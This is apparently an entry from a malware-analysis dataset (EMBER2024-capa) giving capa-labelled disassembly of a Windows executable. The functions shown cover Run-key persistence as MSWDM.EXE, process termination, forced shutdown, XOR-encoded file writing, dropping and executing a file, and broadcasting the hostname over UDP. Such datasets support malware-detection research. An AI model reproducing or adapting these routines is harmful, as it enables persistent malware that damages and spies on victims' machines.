joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40127d
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
lea eax, [esp + 0xc]
push edi
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionRun
push eax
mov edi, reloc.WS2_32.dll_bind
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x4012af
lea eax, [esp + 0x10]
push eax
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x40132d
mov esi, str.MSWDM.EXE
push esi
call fcn.00404190
pop ecx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
push esi
push 1
mov ebp, 0x40d068
push 0
push ebp
push dword [esp + 0x24]
call ebx
test eax, eax
jne 0x40132d
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x14]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRunServices
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x40130b
lea eax, [esp + 0x14]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRunServices
push edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x40132d
push esi
call fcn.00404190
pop ecx
push eax
push esi
push 1
push 0
push ebp
push dword [esp + 0x28]
call ebx
test eax, eax
jne 0x40132d
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret

Function at 0x4013d3
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
push edi
mov esi, 0x100
xor edi, edi
push esi
lea eax, [ebp - 0x104]
push edi
push eax
call fcn.00403df0
add esp, 0xc
lea eax, [ebp - 0x104]
push esi
push eax
call fcn.0040150d
push edi
push 2
push 2
push edi
push 1
lea eax, [ebp - 0x104]
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401428
xor eax, eax
jmp 0x40148e
push ebx
push dword [0x40e454]
push edi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push edi
push edi
push edi
mov ebx, eax
push dword [0x40e450]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 4]
push edi
push eax
push dword [0x40e454]
push ebx
push dword [0x40e450]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x401484
lea eax, [ebp - 4]
push edi
push eax
push dword [0x40e454]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401484
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop ebx
pop edi
pop esi
leave
ret

Function at 0x40150d
Capabilities:
Get common file path

Disassembly:
push dword [esp + 8]
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.mswdm.exe
push dword [esp + 8]
call fcn.00404350
push dword [esp + 0xc]
call fcn.00404294
add esp, 0xc
ret 8
Function at 0x4015c3
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x800
push ebx
push esi
xor esi, esi
push edi
mov ebx, 0x100
push esi
lea eax, [ebp - 0x200]
push ebx
push eax
call fcn.00403df0
add esp, 0xc
lea eax, [ebp - 0x200]
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x40171f
push ebx
lea eax, [ebp - 0x400]
push esi
push eax
call fcn.00403df0
push ebx
lea eax, [ebp - 0x100]
push esi
push eax
call fcn.00403df0
add esp, 0x18
lea eax, [ebp - 0x400]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x100]
push eax
push esi
lea eax, [ebp - 0x400]
push str.device
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
sub esp, 0x28
mov esi, 0x40e448
lea eax, [ebp - 0x100]
push 0xa
pop ecx
mov edi, esp
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.00401f75
xor edi, edi
push ebx
lea eax, [ebp - 0x300]
push edi
push eax
call fcn.00403df0
add esp, 0xc
lea eax, [ebp - 0x300]
push ebx
push eax
call fcn.0040150d
push 0x400
lea eax, [ebp - 0x800]
push edi
push eax
call fcn.00403df0
lea eax, [ebp - 0x800]
push str.__r_
push eax
call fcn.00404350
lea eax, [ebp - 0x100]
push eax
lea eax, [ebp - 0x800]
push eax
call fcn.00404350
mov esi, 0x40d0b8
lea eax, [ebp - 0x800]
push esi
push eax
call fcn.00404350
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x800]
push eax
call fcn.00404350
lea eax, [ebp - 0x800]
push 0x40d0b4
push eax
call fcn.00404350
push dword [ebp + 8]
lea eax, [ebp - 0x800]
push eax
call fcn.00404350
lea eax, [ebp - 0x800]
push esi
push eax
call fcn.00404350
add esp, 0x44
lea eax, [ebp - 0x800]
push edi
push eax
lea eax, [ebp - 0x300]
push eax
call fcn.004039fa
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 4

Function at 0x401728
Capabilities:
Enumerate processes
Terminate process
Terminate process by name

Disassembly:
push ecx
push ebp
push esi
push edi
mov edi, 0x128
push edi
call fcn.004044dc
pop ecx
mov esi, eax
push 0
push 2
mov dword [esi], edi
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebp, dword [esp + 0x14]
mov dword [esp + 0xc], eax
push ebp
call fcn.00404294
pop ecx
push esi
push dword [esp + 0x10]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4017be
push ebx
lea ebx, [esi + 0x24]
push ebx
call fcn.00404294
push ebp
call fcn.00404190
mov edi, ebx
push ebx
sub edi, eax
call fcn.00404190
push ebp
add edi, eax
call fcn.00404190
push eax
push ebp
push edi
call fcn.00404430
add esp, 0x1c
test eax, eax
jne 0x4017ac
push dword [esi + 8]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x4017ac
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
push dword [esp + 0x14]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401766
push 1
pop eax
pop ebx
pop edi
pop esi
pop ebp
pop ecx
ret 4
Function at 0x4017c5
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb0
lea eax, [ebp - 0xb0]
push esi
push eax
mov dword [ebp - 0xb0], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
xor esi, esi
cmp dword [ebp - 0xa0], 2
jne 0x40183f
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 4]
push ecx
push 0x20
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 0xc]
mov dword [ebp - 0x1c], 1
push eax
push str.SeShutdownPrivilege
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [ebp - 0xc]
push esi
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push esi
lea eax, [ebp - 0x1c]
push esi
push eax
push esi
push dword [ebp - 4]
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
cmp dword [ebp + 8], esi
push esi
je 0x401849
push 6
jmp 0x40184b
push 5
call dword [sym.imp.USER32.dll_ExitWindowsEx]
pop esi
leave
ret 4
Function at 0x4019ea
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
call section..text
test eax, eax
je 0x401ba7
push 0x40e448
call fcn.0040107c
test eax, eax
je 0x401ba7
xor esi, esi
push esi
push esi
push esi
push dword [0x40e450]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0x80
push 2
push esi
push 1
push 0xc0000000
push dword [ebp + 0xc]
call ebx
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
je 0x401ba7
push dword [0x40e454]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push dword [0x40e454]
mov edi, eax
mov dword [ebp - 8], edi
push esi
push edi
call fcn.00403df0
add esp, 0xc
lea eax, [ebp - 4]
push esi
push eax
push dword [0x40e454]
push edi
push dword [0x40e450]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x401a94
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x401ba7
lea eax, [ebp - 4]
push esi
push eax
push dword [0x40e454]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x10]
call edi
push dword [ebp - 8]
test eax, eax
je 0x401a89
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
push 0x80
push 3
push esi
push 1
push 0xc0000000
push dword [ebp + 8]
call ebx
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x401ab8
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
push eax
call ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push esi
push eax
push esi
push dword [ebp - 0xc]
call ebx
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x401b0e
push dword [ebp - 8]
jmp 0x401a89
mov eax, dword [ebp - 4]
push dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 4]
mov ebx, dword [ebp - 0x10]
push esi
push eax
push dword [ebp - 0x14]
push dword [ebp - 8]
push ebx
call edi
push dword [ebp - 8]
test eax, eax
je 0x401a89
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x14]
push 4
push eax
push ebx
call edi
test eax, eax
je 0x401ba7
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x18]
push 4
push eax
push ebx
mov dword [ebp - 0x18], esi
call edi
test eax, eax
je 0x401ba7
lea eax, [ebp - 4]
push esi
push eax
push 4
push 0x40e454
push ebx
call edi
test eax, eax
je 0x401ba7
lea eax, [ebp - 4]
push esi
push eax
push 2
push 0x40b200
push ebx
call edi
test eax, eax
je 0x401ba7
lea eax, [ebp - 0x1c]
push eax
call fcn.00403d9c
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x1c]
push 4
push eax
push ebx
call edi
test eax, eax
jne 0x401bab
xor eax, eax
jmp 0x401bc0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
push dword [ebp + 0xc]
call fcn.00401ff3
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x401bc7
Capabilities:
Encode data using xor
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call section..text
test eax, eax
je 0x401d9c
push 0x40e448
call fcn.0040107c
test eax, eax
je 0x401d9c
xor esi, esi
push esi
push esi
push esi
push dword [0x40e450]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
push 0x80
push 2
push esi
push 1
push 0xc0000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x401d9c
push dword [0x40e454]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push dword [0x40e454]
mov ebx, eax
push esi
push ebx
call fcn.00403df0
add esp, 0xc
lea eax, [ebp - 4]
push esi
push eax
push dword [0x40e454]
push ebx
push dword [0x40e450]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x401c6c
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x401d9c
lea eax, [ebp - 4]
push esi
push eax
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [0x40e454]
push ebx
push dword [ebp - 0xc]
call edi
test eax, eax
push ebx
je 0x401c61
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFree]
call ebx
push esi
push 0x80
push 3
push esi
push 1
push bind
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x401d9c
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp + 0xc], eax
lea eax, [ebp - 4]
push esi
push eax
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x401cf2
push dword [ebp + 0xc]
call ebx
jmp 0x401d9c
mov eax, dword [ebp - 4]
push dword [ebp + 8]
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
cmp dword [ebp - 8], esi
jbe 0x401d16
mov eax, dword [ebp + 0xc]
add eax, ecx
xor byte [eax], 0x17
inc ecx
cmp ecx, dword [ebp - 8]
jb 0x401d08
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x10]
push 4
push eax
push dword [ebp - 0xc]
mov dword [ebp - 0x10], esi
call edi
test eax, eax
je 0x401ce8
lea eax, [ebp - 4]
push esi
push eax
push dword [ebp - 8]
push dword [ebp + 0xc]
push dword [ebp - 0xc]
call edi
push dword [ebp + 0xc]
test eax, eax
je 0x401ceb
call ebx
mov ebx, dword [ebp - 0xc]
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 8]
push 4
push eax
push ebx
call edi
test eax, eax
je 0x401d9c
lea eax, [ebp - 4]
push esi
push eax
push 4
push 0x40e454
push ebx
call edi
test eax, eax
je 0x401d9c
lea eax, [ebp - 4]
push esi
push eax
push 2
push 0x40b200
push ebx
call edi
test eax, eax
je 0x401d9c
lea eax, [ebp - 0x14]
push eax
call fcn.00403d9c
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x14]
push 4
push eax
push ebx
call edi
test eax, eax
jne 0x401da0
xor eax, eax
jmp 0x401daa
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x401db1
Capabilities:
Create process on windows
Delete file
Encode data using xor
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x508
push ebx
push esi
push edi
xor esi, esi
push dword [0x40e460]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push esi
push esi
push dword [0x40e464]
mov edi, eax
mov dword [ebp - 4], edi
push dword [0x40e450]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 8]
push esi
push eax
push dword [0x40e460]
push edi
push dword [0x40e450]
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp dword [0x40e460], esi
jbe 0x401e14
xor byte [eax + edi], 0x17
inc eax
cmp eax, dword [0x40e460]
jb 0x401e07
push 0x100
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.00403df0
mov edi, 0x200
lea eax, [ebp - 0x308]
push edi
push esi
push eax
call fcn.00403df0
add esp, 0x18
lea eax, [ebp - 0x308]
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x401f70
lea eax, [ebp - 0x108]
push 0x40d100
push eax
call fcn.00404350
lea eax, [ebp - 0x308]
push eax
call fcn.00404190
add esp, 0xc
mov ebx, eax
dec ebx
je 0x401ebe
cmp byte [ebp + ebx - 0x308], 0x5c
jne 0x401e75
lea eax, [ebp - 0x308]
push eax
call fcn.00404190
push 0xfffffffffffffffd
pop ecx
sub ecx, ebx
add eax, ecx
push eax
lea eax, [ebp + ebx - 0x308]
push eax
lea eax, [ebp - 0x106]
push eax
call fcn.00403e50
lea eax, [ebp - 0x108]
push 0x40d0fc
push eax
call fcn.00404350
add esp, 0x18
push esi
push 0x80
push 2
push esi
push 1
lea eax, [ebp - 0x108]
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x401f70
lea eax, [ebp - 8]
push esi
push eax
push dword [0x40e460]
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401f70
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push edi
lea eax, [ebp - 0x508]
push esi
push eax
call fcn.00403df0
lea eax, [ebp - 0x508]
push str.notepad
push eax
call fcn.00404350
add esp, 0x14
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x508]
push eax
call fcn.00404190
pop ecx
lea eax, [ebp + eax - 0x508]
push eax
call fcn.00404350
pop ecx
lea eax, [ebp - 0x508]
pop ecx
push 5
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401f75
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor esi, esi
push dword [ebp + 0x1c]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push esi
push esi
push dword [ebp + 0x20]
mov edi, eax
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 4]
push esi
push eax
push dword [ebp + 0x1c]
push edi
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
push 0x80
push 2
push esi
push 1
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x401fec
lea eax, [ebp - 4]
push esi
push eax
push dword [ebp + 0x1c]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401fec
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebx
leave
ret 0x2c

Function at 0x401ff3
Capabilities:
Get file size

Disassembly:
push ebx
push esi
xor esi, esi
push edi
mov eax, dword [esp + 0x14]
push esi
push 0x80
push 3
push esi
push 1
push 0xc0000000
mov dword [0x40e024], eax
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402080
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
push eax
push esi
push 4
push esi
push ebx
mov dword [0x40e030], eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov edi, eax
cmp edi, esi
jne 0x40204b
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x402080
push esi
push esi
push esi
push 0xf001f
push edi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
cmp eax, esi
mov dword [0x40e02c], eax
je 0x402074
call fcn.00402086
push dword [0x40e02c]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call esi
push ebx
call esi
pop edi
pop esi
pop ebx
ret 8
Function at 0x402086
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub esp, 0x98
push ebx
push esi
push edi
push 0xe
xor ebx, ebx
push 0x65
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push ebx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp esi, ebx
mov dword [esp + 0x1c], eax
je 0x4021ad
cmp word [eax + 4], bx
mov dword [esp + 0xc], ebx
jbe 0x4021ad
add eax, 0x12
push ebp
mov dword [esp + 0x14], eax
mov esi, 0x80
mov eax, dword [esp + 0x14]
push 3
movzx eax, word [eax]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
push edi
push ebx
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
push esi
lea eax, [esp + 0x2c]
push ebx
push eax
call fcn.00403df0
add esp, 0xc
push ebp
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push ebx
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x30]
push eax
call fcn.00403df0
mov eax, dword [0x40e030]
add esp, 0xc
xor ebp, ebp
sub eax, edi
mov dword [esp + 0x18], ebp
je 0x402191
xor ecx, ecx
cmp edi, ebx
jbe 0x402168
mov edx, dword [0x40e02c]
add edx, ebp
mov dword [esp + 0x1c], edx
mov edx, dword [esp + 0x1c]
mov ebp, dword [esp + 0x24]
mov dl, byte [edx + ecx]
cmp dl, byte [ecx + ebp]
jne 0x402164
inc ecx
cmp ecx, edi
jb 0x40214f
mov ebp, dword [esp + 0x18]
cmp ecx, edi
je 0x402177
inc ebp
cmp ebp, eax
mov dword [esp + 0x18], ebp
jb 0x40213d
jmp 0x402191
push esi
lea eax, [esp + 0x2c]
push ebx
push eax
call fcn.00403df0
add esp, 0xc
mov dword [0x40e028], ebp
call fcn.004021b7
mov eax, dword [esp + 0x20]
inc dword [esp + 0x10]
add dword [esp + 0x14], 0x10
movzx eax, word [eax + 4]
cmp dword [esp + 0x10], eax
jl 0x4020de
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x98
ret
Function at 0x4026e6
Capabilities:
Get hostname
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
push ebx
push esi
push edi
xor ebx, ebx
push 0x40
lea eax, [ebp - 0x54]
push ebx
push eax
call fcn.00403df0
mov eax, 0xff
mov byte [ebp - 0x154], 0x67
mov dword [ebp - 4], eax
push eax
lea eax, [ebp - 0x153]
push ebx
push eax
call fcn.00403df0
add esp, 0x18
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x153]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov esi, 0x40d138
lea eax, [ebp - 0x153]
push esi
push eax
call fcn.00404350
push esi
call fcn.00404190
mov ecx, dword [ebp - 4]
add esp, 0xc
lea eax, [ecx + eax + 1]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x54]
push eax
push str.255.255.255.0
call fcn.00402842
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
lea eax, [ebp - 0x54]
push eax
call esi
mov edi, dword [sym.imp.WS2_32.dll_htons]
push 0x4e
mov dword [ebp - 0x10], eax
mov word [ebp - 0x14], 2
call edi
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_sendto]
push dword [ebp - 4]
lea eax, [ebp - 0x154]
push eax
push dword [ebp + 8]
call ebx
push 0x40
lea eax, [ebp - 0x54]
push 0
push eax
call fcn.00403df0
add esp, 0xc
lea eax, [ebp - 0x54]
push eax
push str.255.255.0.0
call fcn.00402842
lea eax, [ebp - 0x54]
push eax
call esi
push 0x4e
mov dword [ebp - 0x10], eax
mov word [ebp - 0x14], 2
call edi
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push 0
push dword [ebp - 4]
lea eax, [ebp - 0x154]
push eax
push dword [ebp + 8]
call ebx
push 0x40
lea eax, [ebp - 0x54]
push 0
push eax
call fcn.00403df0
add esp, 0xc
lea eax, [ebp - 0x54]
push eax
push str.255.0.0.0
call fcn.00402842
lea eax, [ebp - 0x54]
push eax
call esi
push 0x4e
mov dword [ebp - 0x10], eax
mov word [ebp - 0x14], 2
call edi
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push 0
lea eax, [ebp - 0x154]
push dword [ebp - 4]
push eax
push dword [ebp + 8]
call ebx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x402842
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
push edi
lea eax, [ebp - 0x6c]
push 0x40
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push 4
mov edi, eax
lea esi, [ebp - 0x2c]
pop ebx
push 4
push 0
push esi
call fcn.00403df0
add esp, 0xc
add esi, 4
dec ebx
jne 0x402876
xor esi, esi
push edi
mov dword [ebp - 4], esi
xor ebx, ebx
call fcn.00404190
test eax, eax
pop ecx
jbe 0x4028d7
lea eax, [ebp - 0x2c]
mov dword [ebp - 0xc], eax
cmp byte [edi + esi], 0x2e
lea eax, [esi + 1]
mov dword [ebp - 8], eax
jne 0x4028ca
sub esi, ebx
add ebx, edi
push esi
push ebx
push dword [ebp - 0xc]
call fcn.00403e50
mov ebx, dword [ebp - 8]
add esp, 0xc
inc dword [ebp - 4]
add dword [ebp - 0xc], 4
mov eax, ebx
push edi
mov esi, eax
call fcn.00404190
cmp esi, eax
pop ecx
jb 0x4028a1
push edi
call fcn.00404190
sub eax, ebx
add ebx, edi
push eax
mov eax, dword [ebp - 4]
push ebx
lea eax, [ebp + eax*4 - 0x2c]
push eax
call fcn.00403e50
add esp, 0x10
lea esi, [ebp - 0x1c]
push 4
pop edi
push 4
push 0
push esi
call fcn.00403df0
add esp, 0xc
add esi, 4
dec edi
jne 0x4028f9
mov edi, dword [ebp + 8]
xor esi, esi
push edi
mov dword [ebp - 4], esi
xor ebx, ebx
call fcn.00404190
test eax, eax
pop ecx
jbe 0x40295d
lea eax, [ebp - 0x1c]
mov dword [ebp + 8], eax
cmp byte [edi + esi], 0x2e
lea eax, [esi + 1]
mov dword [ebp - 8], eax
jne 0x402950
sub esi, ebx
add ebx, edi
push esi
push ebx
push dword [ebp + 8]
call fcn.00403e50
mov ebx, dword [ebp - 8]
add esp, 0xc
inc dword [ebp - 4]
add dword [ebp + 8], 4
mov eax, ebx
push edi
mov esi, eax
call fcn.00404190
cmp esi, eax
pop ecx
jb 0x402927
push edi
call fcn.00404190
sub eax, ebx
add ebx, edi
push eax
mov eax, dword [ebp - 4]
push ebx
lea eax, [ebp + eax*4 - 0x1c]
push eax
call fcn.00403e50
add esp, 0x10
xor esi, esi
mov edi, 0x40d140
push 3
lea eax, [ebp + esi - 0x1c]
push edi
push eax
call fcn.00404430
add esp, 0xc
test eax, eax
jne 0x40299b
lea eax, [ebp + esi - 0x2c]
push eax
jmp 0x40299c
push edi
push dword [ebp + 0xc]
call fcn.00404350
pop ecx
cmp esi, 0xc
pop ecx
je 0x4029ba
push 0x40d13c
push dword [ebp + 0xc]
call fcn.00404350
pop ecx
pop ecx
add esi, 4
cmp esi, 0x10
jl 0x402980
pop edi
pop esi
pop ebx
leave
ret 8